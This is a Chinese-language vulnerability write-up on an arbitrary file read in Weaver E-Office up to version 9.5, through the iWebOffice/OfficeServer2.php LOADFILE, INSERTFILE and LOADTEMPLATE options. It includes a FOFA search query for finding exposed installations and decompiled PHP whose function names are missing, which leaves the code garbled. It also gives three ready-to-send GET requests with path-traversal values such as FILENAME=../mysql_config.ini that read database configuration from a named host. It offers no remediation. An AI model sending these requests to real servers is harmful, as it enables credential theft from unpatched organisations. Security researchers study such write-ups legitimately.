漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office iWebOffice/OfficeServer2.php 接口 LOADFILE 、INSERTFILE 和 LOADTEMPLATE 存在任意文件读取漏洞，攻击者可以利用该漏洞读取服务器上任意文件内容，造成敏感信息泄露。

影响版本

e-office <=9.5

fofa语法

app="泛微-EOffice"

漏洞分析

LOADFILE

$mFilePath = $_SERVER['DOCUMENT_ROOT']."attachment";
case "LOADFILE" :
    $mFileName = $_REQUEST['FILENAME'];
    $mRecordID = $_REQUEST['RECORDID'];
    $mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;
    $mFullPath = ( "utf-8", "gbk", $mFullPath );
    $result = ( $mFullPath );
    if ( $result == false )
    {
        $MsgError = $_lang['file_file_not_exist'].$mFullPath;
    }
    else
    {
        $fd = ( $mFullPath, "rb" );
        $mFileSize = ( $mFullPath );
        $mFileBody = ( $fd, ( $mFullPath ) );
        ( $fd );
        $MsgObj = $MsgObj."STATUS=".( $_lang['file_open_success']."!" )."\r\n";
    }
    break;

因 FILENAME 和 RECORDID 参数用户可控且无任何过滤或校验，导致可以拼接任意文件路径进行文件操作。

INSERTFILE

case "INSERTFILE" :
    $mFileName = $_REQUEST['FILENAME'];
    $mRecordID = $_REQUEST['RECORDID'];
    $mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;
    $mFullPath = ( "utf-8", "gbk", $mFullPath );
    $result = ( $mFullPath );
    if ( !$result )
    {
        $MsgError = $_lang['file_file_not_exist'].$mFullPath;
    }
    else
    {
        $MsgObj = $MsgObj."POSITION=".( "Content" )."\r\n";
        $fd = ( $mFullPath, "rb" );
        $mFileSize = ( $mFullPath );
        $mFileBody = ( $fd, ( $mFullPath ) );
        ( $fd );
        $MsgObj = $MsgObj."STATUS=".( $_lang['file_open_success']."!" )."\r\n";
    }
    break;

LOADTEMPLATE

case "LOADTEMPLATE" :
    $mTemplate = $TEMPLATE;
    $mFileType = $FILETYPE;
    $mCommand = $COMMAND;
    $mFileName = $FILENAME;
    $mFullPath = $mFilePath."/".$mTemplate.$mFileType;
    $mFullPath = ( "utf-8", "gbk", $mFullPath );
    if ( $mCommand == "INSERTFILE" )
    {
        $result = ( $mFullPath );
        $MsgObj = $MsgObj."result=".( "result" )."\r\n";
        if ( !$result )
        {
            $MsgError = $_lang['file_temp_not_exist']."File not exists".$mFullPath;
        }
        else
        {
            $fd = ( $mFullPath, "rb" );
            $mFileSize = ( $mFullPath );
            $mFileBody = ( $fd, ( $mFullPath ) );
            ( $fd );
            $MsgObj = $MsgObj."STATUS=".( $_lang['file_open_success']."!" )."\r\n";
        }
        $MsgObj = $MsgObj."PATH=".( $result )."\r\n";
    }

漏洞复现

LOADFILE

GET /iWebOffice/OfficeServer2.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini HTTP/1.1
Host: eoffice.mrxn.net:8082

成功读取到 mysql_config.ini 文件数据库配置信息

INSERTFILE

GET /iWebOffice/OfficeServer2.php?OPTION=INSERTFILE&FILENAME=../mysql_config.ini HTTP/1.1
Host: eoffice.mrxn.net:8082

成功读取到 mysql_config.ini 文件数据库配置信息

LOADTEMPLATE

GET /iWebOffice/OfficeServer2.php?OPTION=LOADTEMPLATE&COMMAND=INSERTFILE&TEMPLATE=../mysql_config.ini HTTP/1.1
Host: eoffice.mrxn.net:8082

成功读取到 mysql_config.ini 文件数据库配置信息